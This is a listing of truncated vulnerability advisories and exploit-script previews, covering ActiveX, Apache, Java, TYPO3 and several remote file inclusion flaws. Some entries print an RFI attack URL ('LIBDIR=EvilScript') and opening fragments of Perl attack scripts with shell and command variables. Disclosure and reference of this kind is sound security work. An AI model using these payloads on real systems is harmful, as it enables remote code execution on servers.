Internet Download Accelerator ActiveX ActiveX控件缓冲区溢出漏洞

Internet Download Accelerator是一款网络下载工具。 Internet Download Accelerator包含的idaiehlp.dll ActiveX控件处理参数输入缺少正确边界检查，远程攻击者可以利用漏洞对应用程序进行缓冲区溢出攻击，可能以进程权限执行任意指令。 idaiehlp.dll包含的ActiveX控件处理参数存在缓冲区溢出，构建恶意WEB页，诱使用户访问，可导致应用程序崩溃。 WestByte Internet Download Accelerator 5.2 目前没有解决方案提供： http://www.westbyte.com/...

LAN Management System (LMS) <= 1.9.6 Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn...

serweb094-rfi.txt

!/usr/bin/perl SerWeb 0.9.4- Remote FIle Inclusion This software, serweb, is a web interface for self-provisioning of users of SER SIP Server http://www.iptel.org/ser/ Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz Exploit:...

SerWeb 0.9.4 - load_lang.php Remote File Inclusion

SerWeb 0.9.4 - loadlang.php Remote File Inclusion !/usr/bin/perl SerWeb 0.9.4- Remote FIle Inclusion This software, serweb, is a web interface for self-provisioning of users of SER SIP Server http://www.iptel.org/ser/ Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz Exploit:...

LAN Management System (LMS) 1.9.6 - Remote File Inclusion

LAN Management System LMS 1.9.6 - Remote File Inclusion !/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn...

LAN Management System (LMS) 1.9.6 - Remote File Inclusion

!/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn Romanian Security Team .: hTTp://RSTZONE.NET :. greetz to...

Apache httpd vulenrabilities

PSNC Security Team has got the pleasure to announce that, as a result of Apache httpd server ver. 1.3.x, 2.0.x and 2.2.x source code analysis, several vulnerabilities have been found that make it possible to perfom a DoS attack against the services and the system that the application is running o...

MS-0 7 0 0 4 analysis and use-vulnerability and early warning-the black bar safety net

Article author: gyzy E. S. T it www.gyzy.org） Information source: evil octal information security team www.eviloctal.com） This article has been published in the hacker line of Defense of the 2 0 0 7 year 3 monthly. The author and the hacker line of Defense on the retention of copyright, reprint...

CentOS 4 : file (CESA-2007:0124)

An updated file package that fixes a security flaw is now available for Red Hat Enterprise Linux 4 and 5. This update has been rated as having moderate security impact by the Red Hat Security Response Team. The file command is used to identify a particular file according to the type of data...

[Full-disclosure] Microsoft Internet Explorer Multiple Vulnerabilities(mshtml.dll)

Microsoft Internet Explorer Multiple Vulnerabilitiesmshtml.dll Discovered by:SaiedHacker Company of Program:Microsoft Tested On:Internet explorer 6.0.2900.2180 member of group:Siahacking,ArshamHacker,RHDS to find how IE crached you shoud type this code into a HTML file and save that...

Monster Top List 1.4.2 - functions.php?root_path Remote File Inclusion

Monster Top List 1.4.2 - functions.php?rootpath Remote File Inclusion !/usr/bin/perl Monster Top List hTTp://RSTZONE.NET .\n"; print ". coded by fluffybunny - [email protected] .\n"; print "...............................................................\n\n"; my...

Monster Top List 1.4.2 - 'functions.php?root_path' Remote File Inclusion

!/usr/bin/perl Monster Top List hTTp://RSTZONE.NET .\n"; print ". coded by fluffybunny - [email protected] .\n"; print "...............................................................\n\n"; my $kw3,$path,$shell,$conexiune,$cmd,$data ; if !$ARGV0 || !$ARGV1 exit0; $path = $ARGV0; chomp$path; $shell ...

Smb4K: Multiple vulnerabilities

Background Smb4K is a SMB/CIFS Windows share browser for KDE. Description Kees Cook of the Ubuntu Security Team has identified multiple vulnerabilities in Smb4K. The writeFile function of smb4k/core/smb4kfileio.cpp makes insecure usage of temporary files. The writeFile function also stores the...

SUSE-SA:2006:056: gzip

The remote host is missing the patch for the advisory SUSE-SA:2006:056 gzip. The gzip tool does not handle some specific values correctly when unpacking archives. This leads to vulnerabilities like buffer overflows or infinite loops. Various different programs like mail clients, file explorer, et...

SUSE-SA:2006:044: libtiff

The remote host is missing the patch for the advisory SUSE-SA:2006:044 libtiff. This update of libtiff is the result of a source-code audit done by Tavis Ormandy, Google Security Team. It fixes various bugs that can lead to denial-of-service conditions as well as to remote code execution while...

Multiple vulnerabilities in extension mm_forum

It has been discovered that the extension mmforum is vulnerable to multiple SQL Injection attacks and multiple XSS flaws alongside other vulnerabilities. Component Type: Third party extension. This extension is not part of the TYPO3 default installation. Affected Versions: Version 0.1.2 and all...

Tip-a-friend - Header Injection

A header injection problem has been found in the extension tipafriend Component Type: Third party extension. The extension is not part of the TYPO3 default installation Affected Versions: 1.2.2 and earlier Vulnerability Type: Header Injection Severity: HIGH Problem Description: A problem has been...

XMB "U2U Instant Messenger" Cross-Site Scripting

Aria-Security Team http://Aria-Security.com Contact: [email protected] Type:Remote Cross-Site Scripting Article on XSS: http://aria-security.net/xss.rar Discovered By Aria-Security Team Software: XMB U2u Instant Messenger Explanation: First of all user must be REGISTERED - Go to...

OpenLDAP: Insecure usage of /tmp during installation

Background OpenLDAP Software is an open source implementation of the Lightweight Directory Access Protocol. Description Tavis Ormandy of the Gentoo Linux Security Team has discovered that the file gencert.sh distributed with the Gentoo ebuild for OpenLDAP does not exit upon the existence of a...

Sun Microsystems Java - '.GIF' File Parsing Memory Corruption

/ FileName: JvmGifVulPoc.java Date: 2007-01-21 Description: Sun Microsystems Java GIF File Parsing Memory Corruption Vulnerability Prove Of Concept Exploit Environment: Only successfully tested on Sun Jre 1.5 Author: luoluo Contact: luoluonetathotmail.com || luoluonetat126.com ||...